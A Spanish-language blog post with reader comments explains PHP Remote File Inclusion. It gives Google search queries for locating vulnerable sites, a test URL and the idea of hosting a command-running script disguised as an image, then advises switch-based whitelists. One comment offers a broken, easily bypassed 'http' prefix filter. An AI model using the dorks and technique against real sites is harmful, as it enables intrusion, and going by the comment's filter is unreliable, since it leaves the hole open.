Remote File Inclusion
Vamos a explicar en que consiste este fallo de seguridad.
Esta vulnerabilidad permite incluir archivos remotos desde otros servidores en paginas que tengan algo asi como:
www.tusitio.com/index.php?seccion=pagina.php
Para buscar en google este tipo de fallos deberíamos poner algo así : allinurl: index.php?*=*
Pero como creo que google está filtrando este tipo de búsquedas otra opción sería buscar: allinurl: index.php?page=inicio.php o cualquier cosa que se nos ocurra.
Una vez localizada la página se puede probar la vulnerabilidad incluyendo por ejemplo una página externa. Sería asi:
http://www.tuweb.com/index.php?seccion=http://www.google.es
Si vemos que la página de google aparece dentro de la web, entonces quiere decir que estamos ante una web vulnerable a éste fallo. Sólo bastaría con sustituir google con un fichero conteniendo un script programado en php, perl… pero con una extensión .gif, .jpg o .txt para que no se ejecute en el servidor externo y que contenga codigos que podamos ejecutar en el servidor. Podéis obtener una idea en Ejecutar comandos shell mediante php.
Cómo evitar este fallo:
He observado que más de una web programan sus menús de ésta manera:
dentro del código php: include (”seccion”) o bien include (”seccion.php”) y ése fichero será el contenido o sección dentro de la estructura principal del sitio web.
Donde nosotros navegaremos por la web tal como: http://www.tusitio.com/index.php?seccion=fichero.php o bien http://www.tusitio.com/index.php?seccion=fichero
Bien, pues ésto es totalmente vulnerable a éste fallo, así que una recomendación sería usar cases y definir las opciones para que nadie pueda incluir ningún otro fichero que no sea el definido por nuestro menú de opciones.
Nota: Publicamos este artículo como recomendación de seguridad, por supuesto se puede escribir un código para entrar en una máquina y hackearla. Nosotros no pretendemos promover el uso del hacking así que no se contestará ninguna duda sobre ese tema.

10.14.2006 a las 7:20 pm
Hola interesante artículo, podrías dar un ejemplo concreto de como reemplazar “include” ya que tengo un script que utiliza include(*lalala.php*) para mostrar un enlace aleatorio.
Gracias
11.06.2006 a las 8:15 pm
Debes usar la función rand() de php. Para ponerlo en práctica debes meter en un array el listado de enlaces y llamarlo con dicha función, ésta te devolverá un enlace aleatorio. De todos modos hay muchos ejemplos ya hechos y una buena herramienta para encontrarlos es Google
03.12.2007 a las 8:58 pm
Yo tuve un problema con esta vulnerabilidad en estos dias, sencillamente lo que hice fue algo asi:
el enlace era de tipo: www.mipagina.com/intro.php?cargar=intro
dado que para cargar el script desde un servidor externo se debe poner de la forma http://www.servidor.com/script/elescript.gif, el enlace vulnerable de mi pagina quedaria
www.mipagina.com/intro.php?cargar=http://www.servidor.com/script/elescript.gif
por lo cual dentro del codigo hice esto:
$nuevocargar = substr($cargar,0,4) //esta contiene los 3 primeros caracteres de la variable
if ($nuevocargar != ‘http’)
{
include (’intro.php’)}
else
{
echo “Bastardo que intentas hacer con mi pagina”)
}
fue algo muy simple y bastante efectivo, espero les sirva.
09.15.2007 a las 6:15 pm
Muy bueno!!! es un buen método, pero también está el limitar que solo se puedan incluir ciertas paginas creando un grupo de opciones en un switch